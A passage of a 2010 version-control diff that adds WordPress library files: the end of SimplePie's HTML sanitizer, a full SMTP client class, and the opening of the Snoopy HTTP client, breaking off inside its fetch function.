str_replace($img['full'], SimplePie_Misc::element_implode($img), $data); + } + else + { + trigger_error("$this->cache_location is not writeable", E_USER_WARNING); + } + } + } + } + } + } + + // Having (possibly) taken stuff out, there may now be whitespace at the beginning/end of the data + $data = trim($data); + } + + if ($type & SIMPLEPIE_CONSTRUCT_IRI) + { + $data = SimplePie_Misc::absolutize_url($data, $base); + } + + if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI)) + { + $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8'); + } + + if ($this->output_encoding !== 'UTF-8') + { + $data = SimplePie_Misc::change_encoding($data, 'UTF-8', $this->output_encoding); + } + } + return $data; + } + + function replace_urls($data, $tag, $attributes) + { + if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) + { + $elements = SimplePie_Misc::get_element($tag, $data); + foreach ($elements as $element) + { + if (is_array($attributes)) + { + foreach ($attributes as $attribute) + { + if (isset($element['attribs'][$attribute]['data'])) + { + $element['attribs'][$attribute]['data'] = SimplePie_Misc::absolutize_url($element['attribs'][$attribute]['data'], $this->base); + $new_element = SimplePie_Misc::element_implode($element); + $data = str_replace($element['full'], $new_element, $data); + $element['full'] = $new_element; + } + } + } + elseif (isset($element['attribs'][$attributes]['data'])) + { + $element['attribs'][$attributes]['data'] = SimplePie_Misc::absolutize_url($element['attribs'][$attributes]['data'], $this->base); + $data = str_replace($element['full'], SimplePie_Misc::element_implode($element), $data); + } + } + } + return $data; + } + + function do_strip_htmltags($match) + { + if ($this->encode_instead_of_strip) + { + if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) + { + $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8'); + $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8'); + return "<$match[1]$match[2]>$match[3]</$match[1]>"; + } + else + { + return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8'); + } + } + elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style'))) + { + return $match[4]; + } + else + { + return ''; + } + } +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-smtp.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-smtp.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1062 @@ +smtp_conn = 0; + $this->error = null; + $this->helo_rply = null; + + $this->do_debug = 0; + } + + /************************************************************* + * CONNECTION FUNCTIONS * + ***********************************************************/ + + /** + * Connect to the server specified on the port specified. + * If the port is not specified use the default SMTP_PORT. + * If tval is specified then a connection will try and be + * established with the server for that number of seconds. + * If tval is not specified the default is 30 seconds to + * try on the connection. + * + * SMTP CODE SUCCESS: 220 + * SMTP CODE FAILURE: 421 + * @access public + * @return bool + */ + function Connect($host,$port=0,$tval=30) { + # set the error val to null so there is no confusion + $this->error = null; + + # make sure we are __not__ connected + if($this->connected()) { + # ok we are connected! what should we do? + # for now we will just give an error saying we + # are already connected + $this->error = array("error" => "Already connected to a server"); + return false; + } + + if(empty($port)) { + $port = $this->SMTP_PORT; + } + + #connect to the smtp server + $this->smtp_conn = fsockopen($host, # the host of the server + $port, # the port to use + $errno, # error number if any + $errstr, # error message if any + $tval); # give up after ? secs + # verify we connected properly + if(empty($this->smtp_conn)) { + $this->error = array("error" => "Failed to connect to server", + "errno" => $errno, + "errstr" => $errstr); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": $errstr ($errno)" . $this->CRLF; + } + return false; + } + + # sometimes the SMTP server takes a little longer to respond + # so we will give it a longer timeout for the first read + // Windows still does not have support for this timeout function + if(substr(PHP_OS, 0, 3) != "WIN") + socket_set_timeout($this->smtp_conn, $tval, 0); + + # get any announcement stuff + $announce = $this->get_lines(); + + # set the timeout of any socket functions at 1/10 of a second + //if(function_exists("socket_set_timeout")) + // socket_set_timeout($this->smtp_conn, 0, 100000); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce; + } + + return true; + } + + /** + * Performs SMTP authentication. Must be run after running the + * Hello() method. Returns true if successfully authenticated. + * @access public + * @return bool + */ + function Authenticate($username, $password) { + // Start authentication + fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($code != 334) { + $this->error = + array("error" => "AUTH not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + // Send encoded username + fputs($this->smtp_conn, base64_encode($username) . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($code != 334) { + $this->error = + array("error" => "Username not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + // Send encoded password + fputs($this->smtp_conn, base64_encode($password) . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($code != 235) { + $this->error = + array("error" => "Password not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + return true; + } + + /** + * Returns true if connected to a server otherwise false + * @access private + * @return bool + */ + function Connected() { + if(!empty($this->smtp_conn)) { + $sock_status = socket_get_status($this->smtp_conn); + if($sock_status["eof"]) { + # hmm this is an odd situation... the socket is + # valid but we are not connected anymore + if($this->do_debug >= 1) { + echo "SMTP -> NOTICE:" . $this->CRLF . + "EOF caught while checking if connected"; + } + $this->Close(); + return false; + } + return true; # everything looks good + } + return false; + } + + /** + * Closes the socket and cleans up the state of the class. + * It is not considered good to use this function without + * first trying to use QUIT. + * @access public + * @return void + */ + function Close() { + $this->error = null; # so there is no confusion + $this->helo_rply = null; + if(!empty($this->smtp_conn)) { + # close the connection and cleanup + fclose($this->smtp_conn); + $this->smtp_conn = 0; + } + } + + /*************************************************************** + * SMTP COMMANDS * + *************************************************************/ + + /** + * Issues a data command and sends the msg_data to the server + * finializing the mail transaction. $msg_data is the message + * that is to be send with the headers. Each header needs to be + * on a single line followed by a with the message headers + * and the message body being seperated by and additional . + * + * Implements rfc 821: DATA + * + * SMTP CODE INTERMEDIATE: 354 + * [data] + * . + * SMTP CODE SUCCESS: 250 + * SMTP CODE FAILURE: 552,554,451,452 + * SMTP CODE FAILURE: 451,554 + * SMTP CODE ERROR : 500,501,503,421 + * @access public + * @return bool + */ + function Data($msg_data) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Data() without being connected"); + return false; + } + + fputs($this->smtp_conn,"DATA" . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 354) { + $this->error = + array("error" => "DATA command not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + # the server is ready to accept data! + # according to rfc 821 we should not send more than 1000 + # including the CRLF + # characters on a single line so we will break the data up + # into lines by \r and/or \n then if needed we will break + # each of those into smaller lines to fit within the limit. + # in addition we will be looking for lines that start with + # a period '.' and append and additional period '.' to that + # line. NOTE: this does not count towards are limit. + + # normalize the line breaks so we know the explode works + $msg_data = str_replace("\r\n","\n",$msg_data); + $msg_data = str_replace("\r","\n",$msg_data); + $lines = explode("\n",$msg_data); + + # we need to find a good way to determine is headers are + # in the msg_data or if it is a straight msg body + # currently I am assuming rfc 822 definitions of msg headers + # and if the first field of the first line (':' sperated) + # does not contain a space then it _should_ be a header + # and we can process all lines before a blank "" line as + # headers. + $field = substr($lines[0],0,strpos($lines[0],":")); + $in_headers = false; + if(!empty($field) && !strstr($field," ")) { + $in_headers = true; + } + + $max_line_length = 998; # used below; set here for ease in change + + while(list(,$line) = @each($lines)) { + $lines_out = null; + if($line == "" && $in_headers) { + $in_headers = false; + } + # ok we need to break this line up into several + # smaller lines + while(strlen($line) > $max_line_length) { + $pos = strrpos(substr($line,0,$max_line_length)," "); + + # Patch to fix DOS attack + if(!$pos) { + $pos = $max_line_length - 1; + } + + $lines_out[] = substr($line,0,$pos); + $line = substr($line,$pos + 1); + # if we are processing headers we need to + # add a LWSP-char to the front of the new line + # rfc 822 on long msg headers + if($in_headers) { + $line = "\t" . $line; + } + } + $lines_out[] = $line; + + # now send the lines to the server + while(list(,$line_out) = @each($lines_out)) { + if(strlen($line_out) > 0) + { + if(substr($line_out, 0, 1) == ".") { + $line_out = "." . $line_out; + } + } + fputs($this->smtp_conn,$line_out . $this->CRLF); + } + } + + # ok all the message data has been sent so lets get this + # over with aleady + fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "DATA not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return true; + } + + /** + * Expand takes the name and asks the server to list all the + * people who are members of the _list_. Expand will return + * back and array of the result or false if an error occurs. + * Each value in the array returned has the format of: + * [ ] + * The definition of is defined in rfc 821 + * + * Implements rfc 821: EXPN + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE FAILURE: 550 + * SMTP CODE ERROR : 500,501,502,504,421 + * @access public + * @return string array + */ + function Expand($name) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Expand() without being connected"); + return false; + } + + fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "EXPN not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + # parse the reply and place in our array to return to user + $entries = explode($this->CRLF,$rply); + while(list(,$l) = @each($entries)) { + $list[] = substr($l,4); + } + + return $list; + } + + /** + * Sends the HELO command to the smtp server. + * This makes sure that we and the server are in + * the same known state. + * + * Implements from rfc 821: HELO + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE ERROR : 500, 501, 504, 421 + * @access public + * @return bool + */ + function Hello($host="") { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Hello() without being connected"); + return false; + } + + # if a hostname for the HELO was not specified determine + # a suitable one to send + if(empty($host)) { + # we need to determine some sort of appopiate default + # to send to the server + $host = "localhost"; + } + + // Send extended hello first (RFC 2821) + if(!$this->SendHello("EHLO", $host)) + { + if(!$this->SendHello("HELO", $host)) + return false; + } + + return true; + } + + /** + * Sends a HELO/EHLO command. + * @access private + * @return bool + */ + function SendHello($hello, $host) { + fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => $hello . " not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + $this->helo_rply = $rply; + + return true; + } + + /** + * Gets help information on the keyword specified. If the keyword + * is not specified then returns generic help, ussually contianing + * A list of keywords that help is available on. This function + * returns the results back to the user. It is up to the user to + * handle the returned data. If an error occurs then false is + * returned with $this->error set appropiately. + * + * Implements rfc 821: HELP [ ] + * + * SMTP CODE SUCCESS: 211,214 + * SMTP CODE ERROR : 500,501,502,504,421 + * @access public + * @return string + */ + function Help($keyword="") { + $this->error = null; # to avoid confusion + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Help() without being connected"); + return false; + } + + $extra = ""; + if(!empty($keyword)) { + $extra = " " . $keyword; + } + + fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 211 && $code != 214) { + $this->error = + array("error" => "HELP not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + return $rply; + } + + /** + * Starts a mail transaction from the email address specified in + * $from. Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more Recipient + * commands may be called followed by a Data command. + * + * Implements rfc 821: MAIL FROM: + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE SUCCESS: 552,451,452 + * SMTP CODE SUCCESS: 500,501,421 + * @access public + * @return bool + */ + function Mail($from) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Mail() without being connected"); + return false; + } + + $useVerp = ($this->do_verp ? "XVERP" : ""); + fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "MAIL not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return true; + } + + /** + * Sends the command NOOP to the SMTP server. + * + * Implements from rfc 821: NOOP + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE ERROR : 500, 421 + * @access public + * @return bool + */ + function Noop() { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Noop() without being connected"); + return false; + } + + fputs($this->smtp_conn,"NOOP" . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "NOOP not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return true; + } + + /** + * Sends the quit command to the server and then closes the socket + * if there is no error or the $close_on_error argument is true. + * + * Implements from rfc 821: QUIT + * + * SMTP CODE SUCCESS: 221 + * SMTP CODE ERROR : 500 + * @access public + * @return bool + */ + function Quit($close_on_error=true) { + $this->error = null; # so there is no confusion + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Quit() without being connected"); + return false; + } + + # send the quit command to the server + fputs($this->smtp_conn,"quit" . $this->CRLF); + + # get any good-bye messages + $byemsg = $this->get_lines(); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg; + } + + $rval = true; + $e = null; + + $code = substr($byemsg,0,3); + if($code != 221) { + # use e as a tmp var cause Close will overwrite $this->error + $e = array("error" => "SMTP server rejected quit command", + "smtp_code" => $code, + "smtp_rply" => substr($byemsg,4)); + $rval = false; + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $e["error"] . ": " . + $byemsg . $this->CRLF; + } + } + + if(empty($e) || $close_on_error) { + $this->Close(); + } + + return $rval; + } + + /** + * Sends the command RCPT to the SMTP server with the TO: argument of $to. + * Returns true if the recipient was accepted false if it was rejected. + * + * Implements from rfc 821: RCPT TO: + * + * SMTP CODE SUCCESS: 250,251 + * SMTP CODE FAILURE: 550,551,552,553,450,451,452 + * SMTP CODE ERROR : 500,501,503,421 + * @access public + * @return bool + */ + function Recipient($to) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Recipient() without being connected"); + return false; + } + + fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250 && $code != 251) { + $this->error = + array("error" => "RCPT not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return true; + } + + /** + * Sends the RSET command to abort and transaction that is + * currently in progress. Returns true if successful false + * otherwise. + * + * Implements rfc 821: RSET + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE ERROR : 500,501,504,421 + * @access public + * @return bool + */ + function Reset() { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Reset() without being connected"); + return false; + } + + fputs($this->smtp_conn,"RSET" . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "RSET failed", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + + return true; + } + + /** + * Starts a mail transaction from the email address specified in + * $from. Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more Recipient + * commands may be called followed by a Data command. This command + * will send the message to the users terminal if they are logged + * in. + * + * Implements rfc 821: SEND FROM: + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE SUCCESS: 552,451,452 + * SMTP CODE SUCCESS: 500,501,502,421 + * @access public + * @return bool + */ + function Send($from) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Send() without being connected"); + return false; + } + + fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "SEND not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return true; + } + + /** + * Starts a mail transaction from the email address specified in + * $from. Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more Recipient + * commands may be called followed by a Data command. This command + * will send the message to the users terminal if they are logged + * in and send them an email. + * + * Implements rfc 821: SAML FROM: + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE SUCCESS: 552,451,452 + * SMTP CODE SUCCESS: 500,501,502,421 + * @access public + * @return bool + */ + function SendAndMail($from) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called SendAndMail() without being connected"); + return false; + } + + fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "SAML not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return true; + } + + /** + * Starts a mail transaction from the email address specified in + * $from. Returns true if successful or false otherwise. If True + * the mail transaction is started and then one or more Recipient + * commands may be called followed by a Data command. This command + * will send the message to the users terminal if they are logged + * in or mail it to them if they are not. + * + * Implements rfc 821: SOML FROM: + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE SUCCESS: 552,451,452 + * SMTP CODE SUCCESS: 500,501,502,421 + * @access public + * @return bool + */ + function SendOrMail($from) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called SendOrMail() without being connected"); + return false; + } + + fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250) { + $this->error = + array("error" => "SOML not accepted from server", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return true; + } + + /** + * This is an optional command for SMTP that this class does not + * support. This method is here to make the RFC821 Definition + * complete for this class and __may__ be implimented in the future + * + * Implements from rfc 821: TURN + * + * SMTP CODE SUCCESS: 250 + * SMTP CODE FAILURE: 502 + * SMTP CODE ERROR : 500, 503 + * @access public + * @return bool + */ + function Turn() { + $this->error = array("error" => "This method, TURN, of the SMTP ". + "is not implemented"); + if($this->do_debug >= 1) { + echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF; + } + return false; + } + + /** + * Verifies that the name is recognized by the server. + * Returns false if the name could not be verified otherwise + * the response from the server is returned. + * + * Implements rfc 821: VRFY + * + * SMTP CODE SUCCESS: 250,251 + * SMTP CODE FAILURE: 550,551,553 + * SMTP CODE ERROR : 500,501,502,421 + * @access public + * @return int + */ + function Verify($name) { + $this->error = null; # so no confusion is caused + + if(!$this->connected()) { + $this->error = array( + "error" => "Called Verify() without being connected"); + return false; + } + + fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF); + + $rply = $this->get_lines(); + $code = substr($rply,0,3); + + if($this->do_debug >= 2) { + echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; + } + + if($code != 250 && $code != 251) { + $this->error = + array("error" => "VRFY failed on name '$name'", + "smtp_code" => $code, + "smtp_msg" => substr($rply,4)); + if($this->do_debug >= 1) { + echo "SMTP -> ERROR: " . $this->error["error"] . + ": " . $rply . $this->CRLF; + } + return false; + } + return $rply; + } + + /******************************************************************* + * INTERNAL FUNCTIONS * + ******************************************************************/ + + /** + * Read in as many lines as possible + * either before eof or socket timeout occurs on the operation. + * With SMTP we can tell if we have more lines to read if the + * 4th character is '-' symbol. If it is a space then we don't + * need to read anything else. + * @access private + * @return string + */ + function get_lines() { + $data = ""; + while($str = @fgets($this->smtp_conn,515)) { + if($this->do_debug >= 4) { + echo "SMTP -> get_lines(): \$data was \"$data\"" . + $this->CRLF; + echo "SMTP -> get_lines(): \$str is \"$str\"" . + $this->CRLF; + } + $data .= $str; + if($this->do_debug >= 4) { + echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF; + } + # if the 4th character is a space then we are done reading + # so just break the loop + if(substr($str,3,1) == " ") { break; } + } + return $data; + } + +} + + + ?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/class-snoopy.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/class-snoopy.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1250 @@ + +Copyright (c): 1999-2008 New Digital Group, all rights reserved +Version: 1.2.4 + + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +You may contact the author of Snoopy by e-mail at: +monte@ohrt.com + +The latest version of Snoopy can be obtained from: +http://snoopy.sourceforge.net/ + +*************************************************/ + +class Snoopy +{ + /**** Public variables ****/ + + /* user definable vars */ + + var $host = "www.php.net"; // host name we are connecting to + var $port = 80; // port we are connecting to + var $proxy_host = ""; // proxy host to use + var $proxy_port = ""; // proxy port to use + var $proxy_user = ""; // proxy user to use + var $proxy_pass = ""; // proxy password to use + + var $agent = "Snoopy v1.2.4"; // agent we masquerade as + var $referer = ""; // referer info to pass + var $cookies = array(); // array of cookies to pass + // $cookies["username"]="joe"; + var $rawheaders = array(); // array of raw headers to send + // $rawheaders["Content-type"]="text/html"; + + var $maxredirs = 5; // http redirection depth maximum. 0 = disallow + var $lastredirectaddr = ""; // contains address of last redirected address + var $offsiteok = true; // allows redirection off-site + var $maxframes = 0; // frame content depth maximum. 0 = disallow + var $expandlinks = true; // expand links to fully qualified URLs. + // this only applies to fetchlinks() + // submitlinks(), and submittext() + var $passcookies = true; // pass set cookies back through redirects + // NOTE: this currently does not respect + // dates, domains or paths. + + var $user = ""; // user for http authentication + var $pass = ""; // password for http authentication + + // http accept types + var $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"; + + var $results = ""; // where the content is put + + var $error = ""; // error messages sent here + var $response_code = ""; // response code returned from server + var $headers = array(); // headers returned from server sent here + var $maxlength = 500000; // max return data length (body) + var $read_timeout = 0; // timeout on read operations, in seconds + // supported only since PHP 4 Beta 4 + // set to 0 to disallow timeouts + var $timed_out = false; // if a read operation timed out + var $status = 0; // http request status + + var $temp_dir = "/tmp"; // temporary directory that the webserver + // has permission to write to. + // under Windows, this should be C:\temp + + var $curl_path = "/usr/local/bin/curl"; + // Snoopy will use cURL for fetching + // SSL content if a full system path to + // the cURL binary is supplied here. + // set to false if you do not have + // cURL installed. See http://curl.haxx.se + // for details on installing cURL. + // Snoopy does *not* use the cURL + // library functions built into php, + // as these functions are not stable + // as of this Snoopy release. + + /**** Private variables ****/ + + var $_maxlinelen = 4096; // max line length (headers) + + var $_httpmethod = "GET"; // default http request method + var $_httpversion = "HTTP/1.0"; // default http request version + var $_submit_method = "POST"; // default submit method + var $_submit_type = "application/x-www-form-urlencoded"; // default submit type + var $_mime_boundary = ""; // MIME boundary for multipart/form-data submit type + var $_redirectaddr = false; // will be set if page fetched is a redirect + var $_redirectdepth = 0; // increments on an http redirect + var $_frameurls = array(); // frame src urls + var $_framedepth = 0; // increments on frame depth + + var $_isproxy = false; // set if using a proxy server + var $_fp_timeout = 30; // timeout for socket connection + +/*======================================================================*\ + Function: fetch + Purpose: fetch the contents of a web page + (and possibly other protocols in the + future like ftp, nntp, gopher, etc.) + Input: $URI the location of the page to fetch + Output: $this->results the output text from the fetch +\*======================================================================*/ + + function fetch($URI) + { + + //preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS); + $URI_PARTS = parse_url($URI); + if (!empty($URI_PARTS["user"])) + $this->user = $URI_PARTS["user"]; + if (!empty($URI_PARTS["pass"])) + $this->pass = $URI_PARTS["pass"]; + if (empty($URI_PARTS["query"])) + $URI_PARTS["query"] = ''; + if (empty($URI_PARTS["path"])) + $URI_PARTS["path"] = ''; + + switch(strtolower($URI_PARTS["scheme"])) + { + case "http": + $this->host = $URI_PARTS["host"]; + if(!empty($URI_PARTS["port"])) + $this->port = $URI_PARTS["port"]; + if($this->_connect($fp)) + { + if($this->_isproxy) + { + // using proxy, send entire URI + $this->_httprequest($URI,$fp,$URI,$this->_httpmethod); + } + else + { + $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); + // no proxy, send only the path + $this->_httprequest($path, $fp, $URI, $this->_httpmethod); + } + + $this->_disconnect($fp); + + if($this->_redirectaddr) + { + /* url was redirected, check if we've hit the max depth */ + if($this->maxredirs > $this->_redirectdepth) + { + // only follow redirect if it's on this site, or offsiteok is true + if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) + { + /* follow the redirect */ + $this->_redirectdepth++; + $this->lastredirectaddr=$this->_redirectaddr; + $this->fetch($this->_redirectaddr); + } + } + } + + if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) + { + $frameurls = $this->_frameurls; + $this->_frameurls = array(); + + while(list(,$frameurl) = each($frameurls)) + { + if($this->_framedepth < $this->maxframes) + { + $this->fetch($frameurl); + $this->_framedepth++; + } + else + break; + } + } + } + else + { + return false; + } + return true; + break; + case "https": + if(!$this->curl_path) + return false; + if(function_exists("is_executable")) + if (!is_executable($this->curl_path)) + return false; + $this->host = $URI_PARTS["host"]; + if(!empty($URI_PARTS["port"])) + $this->port = $URI_PARTS["port"]; + if($this->_isproxy) + { + // using proxy, send entire URI + $this->_httpsrequest($URI,$URI,$this->_httpmethod); + } + else + { + $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); + // no proxy, send only the path + $this->_httpsrequest($path, $URI, $this->_httpmethod); + } + + if($this->_redirectaddr) + { + /* url was redirected, check if we've hit the max depth */ + if($this->maxredirs > $this->_redirectdepth) + { + // only follow redirect if it's on this site, or offsiteok is true + if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) + { + /* follow the redirect */ + $this->_redirectdepth++; + $this->lastredirectaddr=$this->_redirectaddr; + $this->fetch($this->_redirectaddr); + } + } + } + + if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) + { + $frameurls = $this->_frameurls; + $this->_frameurls = array(); + + while(list(,$frameurl) = 